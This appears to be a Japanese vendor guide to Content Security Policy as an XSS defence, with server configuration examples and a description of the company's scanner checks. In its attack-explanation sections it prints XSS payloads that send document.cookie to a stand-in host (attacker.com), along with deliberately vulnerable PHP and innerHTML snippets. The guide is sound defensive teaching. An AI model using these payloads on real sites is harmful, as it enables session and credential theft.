Content Security Policy(CSP)- XSS攻撃を根本から防ぐ
これは何?
Content Security Policy(CSP)は、ブラウザに「このページでは、どのソースからどの種類のリソースを読み込んでよいか」を指示するセキュリティヘッダーです。XSS(Cross-Site Scripting)攻撃など、悪意のあるスクリプトやリソースの実行を根本的に防ぎます。
CSPヘッダーは、以下の形式でHTTPレスポンスに含めます:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com
この設定は「デフォルトでは同一オリジンのみ許可。スクリプトは自サイトとCDNから。スタイルはインラインも許可。画像はdata:スキームとHTTPSを許可」という意味です。
なぜ重要なのか
XSS攻撃は、ウェブアプリケーションの最も一般的な脆弱性の一つです。攻撃者が悪意のあるスクリプトをページに注入し、ユーザーのブラウザで実行させます:
<!-- 攻撃者が注入したスクリプト -->
<script>
// Cookieを盗んで攻撃者のサーバーに送信
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
従来の対策は、入力値のサニタイズ(エスケープ処理)でした。しかし、これには限界があります:
- 開発者のミス(エスケープ漏れ)が起きやすい
- 複雑なアプリケーションでは、すべての注入ポイントを把握できない
- 第三者ライブラリの脆弱性は防げない
CSPは、たとえスクリプトが注入されても、ブラウザが実行を拒否するという防御層を追加します。開発者のミスがあっても、最後の砦として機能します。
攻撃の仕組み
Reflected XSS(反射型XSS)
ユーザーの入力がそのままHTMLに出力される脆弱性です:
<!-- 脆弱なコード -->
<p>検索結果: <?php echo $_GET['q']; ?></p>
<!-- 攻撃者が作成したリンク -->
https://example.com/search?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>
<!-- ユーザーがクリックすると、スクリプトが実行される -->
<p>検索結果: <script>fetch('https://attacker.com/?c='+document.cookie)</script></p>
CSPがあれば、インラインスクリプト(<script>タグ内のコード)の実行が禁止され、攻撃が無効化されます。
Stored XSS(格納型XSS)
攻撃コードがデータベースに保存され、他のユーザーに表示される脆弱性です:
// 脆弱なコメント機能
// ユーザーが投稿したコメントをそのまま表示
document.getElementById('comments').innerHTML = userComment;
// 攻撃者のコメント
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
// 被害者がページを開くと、スクリプトが実行される
CSPでimg-srcを制限し、onerrorなどのイベントハンドラを禁止(unsafe-inlineを避ける)すれば、攻撃を防げます。
DOM-based XSS
JavaScriptのDOM操作の脆弱性を悪用する攻撃です:
// 脆弱なコード
const params = new URLSearchParams(window.location.search);
document.getElementById('output').innerHTML = params.get('name');
// 攻撃URL
https://example.com/?name=<img src=x onerror="alert('XSS')">
CSPのscript-srcディレクティブで、インラインスクリプトやeval()を禁止すれば、多くのDOM-based XSSを防げます。
実際の被害事例
British Airwaysのデータ侵害(2018年)
英国航空(British Airways)のウェブサイトとモバイルアプリが、Magecartと呼ばれるハッカー集団に侵入され、約38万件のクレジットカード情報が盗まれました。攻撃者は決済ページにJavaScriptを注入し、カード情報を盗聴しました。
CSPが適切に設定されていれば、不正なスクリプトの実行や、攻撃者のサーバーへのデータ送信がブロックされた可能性があります。この事件によりGDPR違反で約23億円の罰金が科されました。
Ticketmaster(2018年)
チケット販売大手のTicketmasterも、第三者のチャットサポートツールの脆弱性を経由してMagecart攻撃を受けました。攻撃者は支払いフォームにスクリプトを注入し、数万件のカード情報を盗みました。
CSPのscript-srcでホワイトリスト方式を採用していれば、不正なスクリプトの実行を防げました。
MySpace Samy Worm(2005年)
史上最速で広まったXSSワームです。攻撃者Samyが、MySpaceのプロフィールページにXSSコードを仕込みました。このコードは、閲覧者のプロフィールに自動的に同じコードをコピーし、わずか20時間で100万人以上に感染しました。
当時CSPは存在しませんでしたが、もしあれば、このようなワームの拡散を防げたでしょう。
Nyambushでの検出内容
Nyambushは、以下の項目をチェックします:
- CSPヘッダーの存在:
Content-Security-PolicyまたはContent-Security-Policy-Report-Only - default-srcの設定: すべてのリソースタイプのデフォルトポリシー
- script-srcの厳格性:
'unsafe-inline'(危険): インラインスクリプトを許可'unsafe-eval'(危険):eval()やFunction()を許可- nonce/hash(推奨): 特定のスクリプトのみ許可
- connect-srcの設定:
fetch()やXMLHttpRequestの送信先を制限 - report-uriの有無: CSP違反のレポート送信先
スキャン結果では、CSPが未設定の場合、基本的な設定例を提案します。
対策方法
1. 基本的なCSPポリシーの構築
まず、現在のサイトがどのリソースを使用しているか把握します。ブラウザの開発者ツール(F12)→「ネットワーク」タブで確認します。
最小限のCSP(静的サイト向け)
Content-Security-Policy: default-src 'self'
これは「すべてのリソースは同一オリジンからのみ」という最も厳格なポリシーです。静的サイトや、外部リソースを使わないサイトに適しています。
一般的なCSP(外部リソースあり)
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net https://www.google-analytics.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
各ディレクティブの説明:
default-src 'self': デフォルトは同一オリジンのみscript-src: JavaScriptの読み込み元(CDN、Google Analyticsなど)style-src: CSSの読み込み元。'unsafe-inline'はインラインスタイル許可(後述の理由で非推奨)img-src: 画像の読み込み元。data:はbase64埋め込み、https:はすべてのHTTPSサイトfont-src: フォントの読み込み元connect-src:fetch()、XMLHttpRequest、WebSocketの接続先frame-ancestors 'none': このページを<iframe>で埋め込めないようにする(クリックジャッキング対策)base-uri 'self':<base>タグの制限form-action 'self': フォームの送信先を同一オリジンに制限
2. インラインスクリプトの扱い
'unsafe-inline'を使うと、CSPの効果が大幅に低下します。代わりに、以下の方法を使います。
方法1: 外部ファイル化
<!-- ❌ 悪い例: インラインスクリプト -->
<script>
console.log('Hello, World!');
</script>
<!-- ✅ 良い例: 外部ファイル -->
<script src="/js/app.js"></script>
方法2: nonce(使い捨てトークン)
サーバーが各リクエストでランダムな文字列(nonce)を生成し、CSPヘッダーとスクリプトタグの両方に含めます:
<!-- HTTPヘッダー -->
Content-Security-Policy: script-src 'nonce-2726c7f26c'
<!-- HTML -->
<script nonce="2726c7f26c">
console.log('This script is allowed');
</script>
Node.js/Expressの例:
const crypto = require('crypto');
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'nonce-${res.locals.nonce}'`
);
next();
});
// テンプレートで使用
<script nonce="<%= nonce %>">
console.log('Hello');
</script>
方法3: hash
スクリプトのSHA-256ハッシュをCSPに含めます:
# スクリプトのハッシュを生成
echo -n "console.log('Hello');" | openssl dgst -sha256 -binary | openssl base64
# 出力: qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=
<!-- HTTPヘッダー -->
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
<!-- HTML -->
<script>console.log('Hello');</script>
3. Webサーバーでの設定
Nginxの場合
server {
listen 443 ssl http2;
server_name example.com;
# CSPヘッダー
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
location / {
root /var/www/html;
index index.html;
}
}
Apacheの場合
<VirtualHost *:443>
ServerName example.com
# CSPヘッダー
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"
DocumentRoot /var/www/html
</VirtualHost>
Node.js/Expressの場合
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.jsdelivr.net"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: ["'self'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
}));
4. 段階的導入: Report-Onlyモード
いきなりCSPを有効化すると、正規のリソースがブロックされ、サイトが壊れる可能性があります。まずはContent-Security-Policy-Report-Onlyで監視します:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
このヘッダーでは、CSP違反があってもブロックせず、レポートのみを送信します。report-uriに指定したエンドポイントに、以下のようなJSONが送信されます:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"line-number": 42,
"source-file": "https://example.com/page"
}
}
数週間レポートを収集し、正規のリソースをCSPに追加します。問題がなくなったら、Content-Security-Policyに切り替えます。
5. レポート受信エンドポイントの実装
Node.js/Expressの例:
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// レポートをログファイルやデータベースに保存
fs.appendFileSync('csp-violations.log', JSON.stringify(req.body) + '\n');
res.status(204).end();
});
また、Report URI(https://report-uri.com/)などのSaaSを使えば、レポートの収集・分析を簡単に行えます。
6. より高度な設定
Strict-dynamic
'strict-dynamic'を使うと、信頼されたスクリプトが動的に読み込むスクリプトも信頼されます:
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'
これにより、SPAやWebpackなどの動的ローディングに対応しやすくなります。
Upgrade-insecure-requests
HTTPリソースを自動的にHTTPSにアップグレードします:
Content-Security-Policy: upgrade-insecure-requests
混合コンテンツ(HTTPSページ内のHTTPリソース)の問題を解消できます。
まとめ
CSPは、XSS攻撃を根本から防ぐ強力なセキュリティ機構です。従来のサニタイズだけでは防げない攻撃も、CSPがあれば「スクリプトが注入されても実行されない」というもう一段の防御層が追加されます。
導入は段階的に行い、まずReport-Onlyモードで監視し、正規のリソースをホワイトリストに追加してから、本番有効化します。'unsafe-inline'は避け、nonceやhashを活用することで、CSPの効果を最大化できます。
設定は複雑に見えますが、一度構築すれば、開発者のミスがあってもブラウザが最後の砦として守ってくれます。Nyambushの無料スキャンで、あなたのサイトのCSP設定を確認してみてください。